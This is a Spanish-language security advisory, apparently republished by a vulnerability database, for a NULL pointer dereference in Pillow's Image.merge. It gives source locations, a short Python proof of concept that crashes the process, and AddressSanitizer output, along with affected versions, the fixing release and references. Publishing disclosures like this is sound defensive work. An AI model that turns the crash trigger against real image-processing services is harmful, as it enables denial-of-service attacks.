Pillow: Desreferencia de puntero NULL en Image.merge mediante una banda no validada 0
Resumen
Image.merge() comprueba el modo de cada banda de entrada excepto el de la banda 0. Si la banda 0 es una imagen de una sola banda de tipo I o F, la rutina nativa de merge lee un puntero de píxel que es NULL para dichos modos y el proceso se bloquea. El complemento IPTC llega a este punto a partir de un simple Image.open() seguido de una carga; dado que IPTC no cuenta con un prefiltro de magic bytes, un archivo manipulado sin un encabezado reconocible puede desencadenarlo.
Detalles
El bucle de validación omite la banda 0:
src/PIL/Image.py:3795iterafor band in bands[1:]y comprueba el modo y el tamaño únicamente para estas.
Para una imagen I o F, el plano de 8 bits image8 es NULL (solo image32 está establecido). ImagingMerge desreferencia bands[0]->image8[y] para los modos de salida multibanda:
src/libImaging/Bands.c:302,:311,:321
El cargador IPTC construye la lista de bandas a partir de una subimagen tipada por el atacante y la pasa a merge con la subimagen en el índice 0:
src/PIL/IptcImagePlugin.py:156-160src/PIL/IptcImagePlugin.py:169registra el abridor sin función accept.
PoC
from PIL import Image
# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])
Ejecución:
$ python 02_poc.py
Segmentation fault (core dumped)
Observado en una compilación desde el código fuente del commit 3e2ab96.
Bajo AddressSanitizer:
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
#0 ImagingMerge src/libImaging/Bands.c:311
#1 _merge src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge
La dirección nula confirma la desreferencia del plano image8 ausente para la banda 0.
Impacto
Desreferencia de puntero NULL en una extensión C. Un archivo manipulado abierto y cargado mediante la ruta de IPTC provoca la caída del proceso de trabajo. Se trata de un bloqueo definitivo del proceso, no de una excepción de Python que una aplicación pueda capturar.
Qué hacer
Actualice Pillow a la versión 13.0.0 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | pillow | >= 12.0.0, < 13.0.0 | 13.0.0 |
Referencias
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9
- https://nvd.nist.gov/vuln/detail/CVE-2026-112405
- https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-476- Plataforma
- Python (PyPI)
- Paquete
pillow- Publicada
- 21.10.2026
- Actualizado
- 22.10.2026 00:04
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-cp9v-662q-vvx9 - CC BY 4.0
Historial de vulnerabilidades: pillow
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 89
- Primera → última
- 04.2014 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 1
Distribución por gravedad
- Crítica 12
- Alta 57
- Media 18
- Baja 1
- Sin evaluar 1
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
antes: 12
-
Pillow: Desreferencia de puntero NULL en Image.merge mediante una banda no validada 0 esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.